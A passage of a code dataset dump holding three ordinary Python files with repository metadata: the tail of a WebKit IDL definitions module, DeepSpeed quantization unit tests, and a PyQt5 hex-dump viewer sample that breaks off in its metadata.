attribute.resolve_typedefs(typedefs)\n for operations in self.operations:\n operations.resolve_typedefs(typedefs)\n\n def json_serializable(self):\n return {\n # Perl code treats Exceptions as a kind of Interface\n 'domInterface::name': self.name,\n 'domInterface::attributes': self.attributes,\n 'domInterface::constants': self.constants,\n 'domInterface::extendedAttributes': none_to_value_is_missing(self.extended_attributes),\n 'domInterface::functions': self.operations,\n # These values don't vary for exceptions\n 'domInterface::constructors': [],\n 'domInterface::customConstructors': [],\n 'domInterface::isException': 1,\n 'domInterface::isCallback': None,\n 'domInterface::isPartial': None,\n 'domInterface::parent': None,\n }\n\n\nclass IdlAttribute(BaseIdl, TypedObject):\n def __init__(self, data_type=None, extended_attributes=None, getter_exceptions=None, is_nullable=False, is_static=False, is_read_only=False, name=None, setter_exceptions=None):\n self.data_type = data_type\n self.extended_attributes = extended_attributes or {}\n self.getter_exceptions = getter_exceptions or []\n self.is_nullable = is_nullable\n self.is_static = is_static\n self.is_read_only = is_read_only\n self.name = name\n self.setter_exceptions = setter_exceptions or []\n\n def json_serializable(self):\n return {\n 'domAttribute::extendedAttributes': none_to_value_is_missing(self.extended_attributes),\n 'domAttribute::getterExceptions': self.getter_exceptions,\n 'domAttribute::isNullable': boolean_to_perl_quoted(false_to_none(self.is_nullable)),\n 'domAttribute::isReadOnly': boolean_to_perl(false_to_none(self.is_read_only)),\n 'domAttribute::isStatic': boolean_to_perl(false_to_none(self.is_static)),\n 'domAttribute::name': self.name,\n 'domAttribute::setterExceptions': self.setter_exceptions,\n 'domAttribute::type': self.data_type,\n }\n\n\nclass IdlConstant(BaseIdl, TypedObject):\n def __init__(self, name=None, data_type=None, value=None, extended_attributes=None):\n self.data_type = data_type\n self.extended_attributes = extended_attributes or {}\n self.name = name\n self.value = value\n\n def json_serializable(self):\n return {\n 'domConstant::extendedAttributes': none_to_value_is_missing(self.extended_attributes),\n 'domConstant::name': self.name,\n 'domConstant::type': self.data_type,\n 'domConstant::value': self.value,\n }\n\n\nclass IdlOperation(BaseIdl, TypedObject):\n def __init__(self, is_static=False, name=None, data_type=None, extended_attributes=None, specials=None, arguments=None, overloaded_index=None):\n self.is_static = is_static\n self.name = name or ''\n self.data_type = data_type\n self.extended_attributes = extended_attributes or {}\n self.specials = specials or []\n self.arguments = arguments or []\n self.overloaded_index = overloaded_index\n\n def resolve_typedefs(self, typedefs):\n TypedObject.resolve_typedefs(self, typedefs)\n for argument in self.arguments:\n argument.resolve_typedefs(typedefs)\n\n def json_serializable(self):\n return {\n 'domFunction::extendedAttributes': none_to_value_is_missing(self.extended_attributes),\n 'domFunction::isStatic': boolean_to_perl(false_to_none(self.is_static)),\n 'domFunction::name': self.name,\n 'domFunction::overloadedIndex': self.overloaded_index,\n 'domFunction::parameters': self.arguments,\n 'domFunction::specials': self.specials,\n 'domFunction::type': self.data_type,\n }\n\n\nclass IdlArgument(BaseIdl, TypedObject):\n def __init__(self, name=None, data_type=None, extended_attributes=None, is_optional=False, is_nullable=None, is_variadic=False):\n self.data_type = data_type\n self.extended_attributes = extended_attributes or {}\n # FIXME: boolean values are inconsistent.\n # The below hack is so that generated JSON is identical to\n # Perl-generated JSON, where the exact values depend on the code path.\n # False and None (Perl: 0 and undef) are semantically interchangeable,\n # but yield different JSON.\n # Once Perl removed, have all default to False.\n if is_optional is None:\n is_optional = False\n if is_variadic is None:\n is_variadic = False\n self.is_nullable = is_nullable # (T?)\n self.is_optional = is_optional # (optional T)\n self.is_variadic = is_variadic # (T...)\n self.name = name\n\n def json_serializable(self):\n return {\n 'domParameter::extendedAttributes': none_to_value_is_missing(self.extended_attributes),\n 'domParameter::isNullable': boolean_to_perl_quoted(self.is_nullable),\n 'domParameter::isOptional': boolean_to_perl(self.is_optional),\n 'domParameter::isVariadic': boolean_to_perl(self.is_variadic),\n 'domParameter::name': self.name,\n 'domParameter::type': self.data_type,\n }\n\n# Type classes\n\n\nclass IdlType:\n # FIXME: replace type strings with these objects,\n # so don't need to parse everywhere types are used.\n # Types are stored internally as strings, not objects,\n # e.g., as 'sequence' or 'Foo[]',\n # hence need to parse the string whenever a type is used.\n # FIXME: incorporate Nullable, Variadic, etc.\n # FIXME: properly should nest types\n # Formally types are nested, e.g., short?[] vs. short[]?,\n # but in practice these complex types aren't used and can treat\n # as orthogonal properties.\n def __init__(self, base_type, is_array=False, is_sequence=False):\n if is_array and is_sequence:\n raise ValueError('Array of Sequences are not allowed.')\n self.base_type = base_type\n self.is_array = is_array\n self.is_sequence = is_sequence\n\n def __str__(self):\n type_string = self.base_type\n if self.is_array:\n return type_string + '[]'\n if self.is_sequence:\n return 'sequence<%s>' % type_string\n return type_string\n\n @classmethod\n def from_string(cls, type_string):\n sequence_re = r'^sequence<([^>]*)>$'\n if type_string.endswith('[]'):\n type_string = type_string[:-2]\n sequence_match = re.match(sequence_re, type_string)\n if sequence_match:\n raise ValueError('Array of Sequences are not allowed.')\n return cls(type_string, is_array=True)\n sequence_match = re.match(sequence_re, type_string)\n if sequence_match:\n base_type = sequence_match.group(1)\n return cls(base_type, is_sequence=True)\n return cls(type_string)\n\n\nclass IdlTypedef:\n # Internal to IDL parsing: typedefs are all translated during IdlObject\n # construction, and the typedefs themselves not stored in the object.\n def __init__(self, extended_attributes=None, data_type=None):\n self.extended_attributes = extended_attributes or {}\n self.data_type = data_type\n\n\nclass IdlUnionType(BaseIdl):\n def __init__(self, union_member_types=None):\n self.union_member_types = union_member_types or []\n\n def json_serializable(self):\n return {\n 'UnionType::unionMemberTypes': self.union_member_types,\n }\n\n\n# Perl JSON compatibility functions\n\ndef none_to_value_is_missing(extended_attributes):\n # Perl IDL Parser uses 'VALUE_IS_MISSING' for null values in\n # extended attributes, so add this as a filter when exporting to JSON.\n new_extended_attributes = {}\n for key, value in extended_attributes.iteritems():\n if value is None:\n new_extended_attributes[key] = 'VALUE_IS_MISSING'\n else:\n new_extended_attributes[key] = value\n return new_extended_attributes\n\n\ndef boolean_to_perl(value):\n # Perl stores booleans as 1, 0, or undefined (JSON null);\n # convert to this format.\n if value is None:\n return None\n return int(value)\n\n\ndef boolean_to_perl_quoted(value):\n # Bug-for-bug compatibility with Perl.\n # The value of isNullable is quoted ('1', '0', or undefined), rather than\n # an integer, so add quotes.\n if value is None:\n return None\n return str(int(value))\n\n\ndef false_to_none(value):\n # The Perl parser generally uses undefined (Python None) rather than False\n # for boolean flags, because the value is simply left undefined, rather than\n # explicitly set to False.\n if value is False:\n return None\n return value\n\n\n# JSON export\n\n\nclass IdlEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, BaseIdl):\n return obj.json_serializable()\n return json.JSONEncoder.default(self, obj)\n", "repo_name": "CyFI-Lab-Public/RetroScope", "sub_path": "external/chromium_org/third_party/WebKit/Source/bindings/scripts/idl_definitions.py", "file_name": "idl_definitions.py", "file_ext": "py", "file_size_in_byte": 16383, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 112, "dataset": "github-code", "pt": "78", "api": [{"api_name": "abc.ABCMeta", "line_number": 11, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 13, "usage_type": "attribute"}, {"api_name": "abc.ABCMeta", "line_number": 31, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 93, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 95, "usage_type": "call"}, {"api_name": "re.match", "line_number": 335, "usage_type": "call"}, {"api_name": "re.match", "line_number": 339, "usage_type": "call"}, {"api_name": "json.JSONEncoder", "line_number": 407, "usage_type": "attribute"}, {"api_name": "json.JSONEncoder.default", "line_number": 411, "usage_type": "call"}, {"api_name": "json.JSONEncoder", "line_number": 411, "usage_type": "attribute"}]} {"seq_id": "24350621571", "text": "import pytest\nimport torch\nfrom deepspeed.ops import op_builder\n\ninference_module = None\n\n\ndef run_quantize_ds(activations, num_groups, q_bits, is_symmetric_quant):\n global inference_module\n if inference_module is None:\n inference_module = op_builder.QuantizerBuilder().load()\n\n return inference_module.quantize(\n activations,\n num_groups,\n q_bits,\n inference_module.Symmetric\n if is_symmetric_quant else inference_module.Asymmetric)\n\n\ndef get_q_props(q_bits):\n q_range = 2**q_bits\n q_min = -(2**(q_bits - 1))\n q_max = (2**(q_bits - 1) - 1)\n\n q_min = torch.IntTensor([q_min]).to(device='cuda')\n q_max = torch.IntTensor([q_max]).to(device='cuda')\n return q_range, q_max, q_min\n\n\ndef get_scale_zero_point(q_bits,\n is_symmetric_quant,\n max,\n min,\n absmax,\n scales=None,\n zero_points=None):\n\n q_range, q_max, q_min = get_q_props(q_bits)\n\n if is_symmetric_quant:\n scale = torch.empty_like(absmax)\n for i, x in enumerate(absmax):\n scale[i] = torch.ones_like(x) if x == 0 else q_range / (2 * x)\n zero_point = torch.zeros(scale.shape, dtype=torch.float32, device='cuda')\n else:\n scale = torch.empty_like(max)\n for i, x in enumerate(max):\n scale[i] = torch.ones_like(x) if max[i] == min[i] else q_range / (max[i] -\n min[i])\n zero_point = q_min - (min * scale)\n\n return scale, zero_point\n\n\ndef int4x2to2xint4(int4X2tensor):\n high = int4X2tensor >> 4\n low = (int4X2tensor << 4) >> 4\n return torch.stack((high, low), dim=-1).flatten()\n\n\ndef run_float_quantize(q_bits, is_symmetric_quant, activations_ref, num_groups):\n\n # Reference implementation\n # https://pytorch.org/docs/stable/quantization-support.html\n\n activations_ref = activations_ref.reshape(num_groups, -1).to(dtype=torch.float32)\n\n max_abs_activations_ref = torch.amax(torch.abs(activations_ref),\n dim=-1).view(num_groups,\n -1)\n max_activations_ref = torch.amax(activations_ref, dim=-1).view(num_groups, -1)\n min_activations_ref = torch.amin(activations_ref, dim=-1).view(num_groups, -1)\n\n _, q_max, q_min = get_q_props(q_bits)\n\n scale, zero_point = get_scale_zero_point(q_bits, is_symmetric_quant, max_activations_ref, min_activations_ref, max_abs_activations_ref)\n\n data_f = activations_ref * scale\n\n if not is_symmetric_quant:\n data_f = data_f + zero_point\n\n data_i32 = torch.round(data_f).to(dtype=torch.int32)\n\n data_i32 = torch.minimum(torch.maximum(data_i32,\n q_min.expand_as(data_i32)),\n q_max.expand_as(data_i32))\n data_i8 = data_i32.to(dtype=torch.int8)\n\n scales = (1.0 / scale).reshape(-1, 1)\n offsets = zero_point.reshape(-1, 1)\n params = torch.cat((scales, offsets), dim=-1)\n\n return data_i8, params\n\n\n@pytest.mark.inference\n@pytest.mark.parametrize(\"num_groups\", [1, 13, 512])\n@pytest.mark.parametrize(\"num_elems\",\n [8,\n 16,\n 32,\n 64,\n 128,\n 256,\n 4096,\n 8192,\n 12288,\n 16384])\n@pytest.mark.parametrize(\"is_symmetric_quant\", [True, False])\n@pytest.mark.parametrize(\"q_bits\", [4, 8])\n@pytest.mark.parametrize(\"directed_case\", [\"all_zeros\", None])\ndef test_float_quantize(num_elems,\n num_groups,\n is_symmetric_quant,\n q_bits,\n directed_case):\n\n if directed_case == \"all_zeros\":\n activations_ds = torch.zeros((num_groups,\n num_elems),\n dtype=torch.float16,\n device='cuda')\n else:\n activations_ds = torch.randn((num_groups,\n num_elems),\n dtype=torch.float16,\n device='cuda')\n activations_ref = activations_ds.clone().detach()\n\n ref_out_tensor, ref_params = run_float_quantize(q_bits, is_symmetric_quant, activations_ref, num_groups)\n\n ds_out_tensor, ds_out_params = run_quantize_ds(activations_ds, num_groups, q_bits, is_symmetric_quant)\n\n if (q_bits == 4):\n ds_out_tensor = int4x2to2xint4(ds_out_tensor)\n\n # Allow a max difference of 1 to account for differences in rounding in pytorch implementation\n assert (torch.all(\n torch.lt(torch.abs(ds_out_tensor.flatten() - ref_out_tensor.flatten()),\n 2)))\n if is_symmetric_quant:\n assert (torch.allclose(ds_out_params.flatten(), ref_params[:, 0].flatten()))\n else:\n assert (torch.allclose(ds_out_params[:,\n 0].flatten(),\n ref_params[:,\n 0].flatten()))\n assert (torch.allclose(ds_out_params[:,\n 1].flatten(),\n ref_params[:,\n 1].flatten(),\n atol=5e-5,\n rtol=5e-5))\n\n\ndef run_integer_quantize_ds(activations, num_groups, q_bits):\n global inference_module\n if inference_module is None:\n inference_module = op_builder.QuantizerBuilder().load()\n\n return inference_module.quantize(activations,\n num_groups,\n q_bits,\n inference_module.IntegerSymmetric)\n\n\ndef run_integer_quantize(q_bits, activations_ref, num_groups):\n\n activations_ref = activations_ref.reshape(num_groups, -1).to(dtype=torch.float32)\n\n max_abs_activations_ref = torch.amax(torch.abs(activations_ref),\n dim=-1).view(num_groups,\n -1)\n\n _, q_max, q_min = get_q_props(q_bits)\n print(max_abs_activations_ref)\n max_abs_activations_ref = (max_abs_activations_ref + 1).to(torch.int8).to(\n torch.float32)\n print(max_abs_activations_ref)\n numerator = activations_ref * q_max\n print(numerator.dtype)\n denominator = max_abs_activations_ref\n\n data_f = numerator / denominator\n\n data_i32 = torch.round(data_f).to(dtype=torch.int32)\n data_i32 = torch.minimum(torch.maximum(data_i32,\n q_min.expand_as(data_i32)),\n q_max.expand_as(data_i32))\n data_i8 = data_i32.to(dtype=torch.int8)\n\n return data_i8, max_abs_activations_ref.to(torch.int32)\n\n\n@pytest.mark.inference\n@pytest.mark.parametrize(\"num_groups\", [1, 2, 4, 8, 16, 32, 64, 512])\n@pytest.mark.parametrize(\"num_elems\", [4096, 8192, 12288, 16384])\n@pytest.mark.parametrize(\"q_bits\", [4, 8])\ndef test_integer_quantize(num_elems, num_groups, q_bits):\n\n activations_ds = torch.ones((num_groups,\n num_elems),\n dtype=torch.float16,\n device='cuda') * 0.35\n activations_ref = activations_ds.clone().detach()\n\n ref_out_tensor, ref_params = run_integer_quantize(q_bits, activations_ref, num_groups)\n\n ds_out_tensor, ds_out_params = run_integer_quantize_ds(activations_ds, num_groups, q_bits)\n\n if (q_bits == 4):\n ds_out_tensor = int4x2to2xint4(ds_out_tensor)\n\n # Allow a max difference of 1 to account for differences in rounding in pytorch implementation\n assert (torch.all(\n torch.lt(torch.abs(ds_out_tensor.flatten() - ref_out_tensor.flatten()),\n 2)))\n assert (torch.allclose(ds_out_params.flatten(), ref_params.flatten()))\n", "repo_name": "FMInference/FlexGen", "sub_path": "benchmark/third_party/DeepSpeed/tests/unit/ops/quantizer/test_quantize.py", "file_name": "test_quantize.py", "file_ext": "py", "file_size_in_byte": 8144, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8687, "dataset": "github-code", "pt": "7", "api": [{"api_name": "deepspeed.ops.op_builder.QuantizerBuilder", "line_number": 11, "usage_type": "call"}, {"api_name": "deepspeed.ops.op_builder", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.IntTensor", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.IntTensor", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.empty_like", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.ones_like", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.empty_like", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.ones_like", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 67, "usage_type": "attribute"}, {"api_name": "torch.amax", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.amax", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.amin", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.round", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.int32", "line_number": 84, "usage_type": "attribute"}, {"api_name": "torch.minimum", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.maximum", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 89, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.float16", "line_number": 123, "usage_type": "attribute"}, {"api_name": "torch.randn", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.float16", "line_number": 128, "usage_type": "attribute"}, {"api_name": "torch.all", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.lt", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.allclose", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.allclose", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.allclose", "line_number": 150, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 99, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 99, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 100, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 111, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 111, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 112, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 112, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 113, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 113, "usage_type": "attribute"}, {"api_name": "deepspeed.ops.op_builder.QuantizerBuilder", "line_number": 161, "usage_type": "call"}, {"api_name": "deepspeed.ops.op_builder", "line_number": 161, "usage_type": "name"}, {"api_name": "torch.float32", "line_number": 171, "usage_type": "attribute"}, {"api_name": "torch.amax", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 179, "usage_type": "attribute"}, {"api_name": "torch.float32", "line_number": 180, "usage_type": "attribute"}, {"api_name": "torch.round", "line_number": 188, "usage_type": "call"}, {"api_name": "torch.int32", "line_number": 188, "usage_type": "attribute"}, {"api_name": "torch.minimum", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.maximum", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.int8", "line_number": 192, "usage_type": "attribute"}, {"api_name": "torch.int32", "line_number": 194, "usage_type": "attribute"}, {"api_name": "torch.ones", "line_number": 203, "usage_type": "call"}, {"api_name": "torch.float16", "line_number": 205, "usage_type": "attribute"}, {"api_name": "torch.all", "line_number": 217, "usage_type": "call"}, {"api_name": "torch.lt", "line_number": 218, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 218, "usage_type": "call"}, {"api_name": "torch.allclose", "line_number": 220, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 197, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 198, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 198, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 199, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 199, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 200, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 200, "usage_type": "attribute"}]} {"seq_id": "70403675422", "text": "#!/usr/bin/python\n\nimport sys\n\nfrom PyQt5.QtCore import Qt, QMimeData\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QTextEdit\nfrom PyQt5.QtWidgets import QPushButton, QVBoxLayout, QGridLayout, QFileDialog\nfrom PyQt5.QtGui import QTextCursor, QPainter\n\n\nclass HexEditWidget(QTextEdit):\n def __init__(self, parent):\n QTextEdit.__init__(self, parent)\n\n self.setCursorWidth(8)\n self.setLineWrapMode(QTextEdit.NoWrap);\n\n # set the font\n font = self.font()\n font.setFamily(\"Courier\")\n font.setPointSize(10)\n self.setFont(font)\n\n self.bytesPerLine = 16\n self.addressWidth = 10\n\n self.addrColor = Qt.red\n self.addrBackground = Qt.white\n self.dataColor = Qt.black\n self.dataBackground = Qt.white\n self.asciiColor = Qt.black\n self.asciiBackground = Qt.lightGray\n\n self.cursorPositionChanged.connect(self.showPosition)\n\n\n def paintEvent(self, event):\n QTextEdit.paintEvent(self, event)\n\n viewPort = self.viewport()\n\n cursor = self.textCursor()\n columnNumber = cursor.positionInBlock()\n rect = self.cursorRect()\n\n p = QPainter(viewPort)\n\n byteIndex = (columnNumber - 10) // 3\n\n # 4 pixels offset to the left, 58 columns to the ascii area\n p.setPen(Qt.red)\n p.drawRect( 4 + (58 + byteIndex) * rect.size().width(),\n #rect.left() + 384, \n rect.top(),# columnNumber * (rect.size().width()), \n rect.size().width() - 1, rect.size().height())\n\n\n def keyPressEvent(self, event):\n # Ensure that shortcuts like CTRL-C are working\n if event.modifiers() & Qt.ControlModifier:\n if event.key() == Qt.Key_C:\n QTextEdit.keyPressEvent(self, event)\n\n else:\n # Filter keys (TODO)\n text = event.text()\n if text:\n print(event.text())\n else:\n print(\"KEY: {}\".format(event.key()))\n\n\n\n def keyReleaseEvent(self, event):\n pass\n\n\n def mousePressEvent(self, event):\n QTextEdit.mousePressEvent(self, event)\n\n cursor = self.cursorForPosition(event.pos())\n columnNumber = cursor.positionInBlock()\n\n # Limit cursor position to the editable area\n # - TODO: remove hard coded numbers\n if columnNumber < self.addressWidth:\n columnNumber = self.addressWidth\n if columnNumber > 73:\n columnNumber = 73;\n\n # Not all of the characters displayed in the hex dump area can be edited \n if columnNumber < 58:\n bytePos = columnNumber - self.addressWidth\n byteIdx = bytePos % 3 # 0, 1, 2 => \"7F \"\n if byteIdx == 2:\n columnNumber -= 1\n\n block = cursor.block() # The current block of the cursor\n cursor.setPosition(block.position() + columnNumber)\n\n self.setTextCursor(cursor)\n\n self.viewport().update() # necessary to get the right coordinates in the paint event\n\n\n\n def getCurrentAddr(self, crsr):\n '''Returns the address of the byte where the cursor is located'''\n\n lineNumber = crsr.blockNumber()\n columnNumber = crsr.positionInBlock()\n if columnNumber < 58: # data area\n addr = self.bytesPerLine * lineNumber + (columnNumber - self.addressWidth) // 3\n else:\n addr = self.bytesPerLine * lineNumber + (columnNumber - 58)\n return addr\n\n\n def getDataPositionForAddr(self, addr):\n '''returns the cursor position within the data area for the given address'''\n lineLength = self.addressWidth + 3* self.bytesPerLine + 16 + 1 # addr: data ascii\\n\n blockNo = addr // self.bytesPerLine\n column = (addr % self.bytesPerLine) * 3 + self.addressWidth\n result = blockNo * lineLength + column\n return result\n\n\n def getByte(self, addr):\n crsr = self.textCursor()\n\n byteStart = self.getDataPositionForAddr(addr)\n byteEnd = byteStart + 2\n crsr.setPosition(byteStart)\n crsr.setPosition(byteEnd, QTextCursor.KeepAnchor)\n data = int(crsr.selectedText(), 16)\n return data\n\n\n def showPosition(self):\n '''cursorPositionChanged() slot'''\n\n crsr = self.textCursor()\n addr = self.getCurrentAddr(crsr)\n data = self.getByte(addr)\n\n # TODO: result be invalid if improper data is available\n if (data & 0b11111110) == 0b11111100:\n count = 6\n unicode = (data & 0b00000001)\n elif (data & 0b11111100) == 0b11111000:\n count = 5\n unicode = (data & 0b00000011)\n elif (data & 0b11111000) == 0b11110000:\n count = 4\n unicode = (data & 0b00000111)\n elif (data & 0b11110000) == 0b11100000:\n count = 3\n unicode = (data & 0b00001111)\n elif (data & 0b11100000) == 0b11000000:\n count = 2\n unicode = (data & 0b00011111)\n elif (data & 0b10000000) == 0b00000000:\n count = 1\n unicode = data\n else:\n count = 0\n\n for x in range(1, count):\n nextByte = self.getByte(addr + x)\n\n # shift bits by 6 to get space for the next bunch of bits\n unicode = unicode * 0x40\n\n # add the next bunch of bits to the unicode value\n unicode = unicode + (nextByte & 0b00111111)\n\n if count == 0:\n print('Byte address: 0x{0:08X} = {1:02X} = \\\\u (N/A)'.format(addr, data))\n else:\n print('Byte address: 0x{0:08X} = {1:02X} = \\\\u{2:2X}'.format(addr, data, unicode))\n\n\n def addLine(self, addr, hexDump, asciiDump):\n self.textCursor().movePosition(QTextCursor.End)\n\n self.setTextColor(self.addrColor)\n self.setTextBackgroundColor(self.addrBackground)\n self.insertPlainText(\"{0:08X}: \".format(addr))\n\n self.setTextColor(self.dataColor)\n self.setTextBackgroundColor(self.dataBackground)\n self.insertPlainText(\"{0:48}\".format(hexDump))\n\n self.setTextColor(self.asciiColor)\n self.setTextBackgroundColor(self.asciiBackground)\n self.insertPlainText(\"{0}\\n\".format(asciiDump))\n\n\n def setContents(self, contents):\n self.blockSignals(True)\n\n addr = 0\n hexDump = \"\"\n asciiDump = \"\"\n column = 0\n \n self.clear()\n for c in contents:\n hexDump = hexDump + \"{0:02X} \".format(c)\n asciiDump = asciiDump + ( chr(c) if c > 31 and c < 128 else '.')\n column += 1\n if (column % 16) == 0:\n self.addLine(addr, hexDump, asciiDump)\n\n asciiDump = \"\"\n hexDump = \"\"\n column = 0\n addr += 16\n if column > 0:\n self.addLine(addr, hexDump, asciiDump)\n\n self.blockSignals(False)\n\n crsr = self.textCursor()\n crsr.setPosition(10)\n self.setTextCursor(crsr)\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n\n QMainWindow.__init__(self)\n self.resize(800, 600)\n\n # Create the main content widget\n mainWidget = QWidget(self)\n self.setCentralWidget(mainWidget)\n\n # Create a text component at the top area of the main widget\n self.output = HexEditWidget(mainWidget)\n\n mainLayout = QVBoxLayout(mainWidget)\n mainLayout.addWidget(self.output)\n\n # Create buttons in a grid layout below the top area\n buttonWidget = QWidget(mainWidget)\n self.buttonLayout = QGridLayout(buttonWidget)\n mainLayout.addWidget(buttonWidget)\n\n theButton = QPushButton(\"Load...\")\n theButton.clicked.connect(self.chooseFile)\n self.buttonLayout.addWidget(theButton, 0, 0)\n\n statusBar = self.statusBar();\n\n self.loadFile(\"__pycache__/helloPyside.cpython-33.pyc\")\n\n\n def chooseFile(self):\n fileName = QFileDialog.getOpenFileName(self, \"Open file ...\");\n fileName = fileName[0]\n if fileName:\n self.loadFile(fileName)\n\n\n def loadFile(self, fileName):\n file = open(fileName, 'rb')\n contents = file.read()\n file.close()\n self.output.setContents(contents)\n\n\nclass HexDump():\n def __init__(self):\n pass\n\n def main(self, args):\n # Create a Qt application\n app = QApplication(sys.argv)\n\n # Create and whow the main window\n wnd = MainWindow()\n wnd.show()\n \n # Run the application\n app.exec_()\n\n\nif __name__ == \"__main__\":\n app = HexDump()\n app.main(sys.argv)\n", "repo_name": "afester/CodeSamples", "sub_path": "Python/Sample/hexDump.py", "file_name": "hexDump.py", "file_ext": "py", "file_size_in_byte": 8677, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 11, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTextEdit.__init__", "line_number": 13, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 13, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTextEdit.NoWrap", "line_number": 16, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 16, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.red", "line_number": 27, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 27, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.white", "line_number": 28, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 28, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.black", "line_number": 29, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 29, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.white", "line_number": 30, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 30, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.black", "line_number": 31, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 31, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.lightGray", "line_number": 32, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 32, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTextEdit.paintEvent", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 38, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPainter", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.red", "line_number": 51, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 51, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ControlModifier", "line_number": 60, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 60, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.Key_C", "line_number": 61, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 61, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTextEdit.keyPressEvent", "line_number": 62, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 62, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTextEdit.mousePressEvent", "line_number": 79, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 79, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QTextCursor.KeepAnchor", "line_number": 134, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QTextCursor", "line_number": 134, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QTextCursor.End", "line_number": 184, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QTextCursor", "line_number": 184, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 229, "usage_type": "name"}, {"api_name": 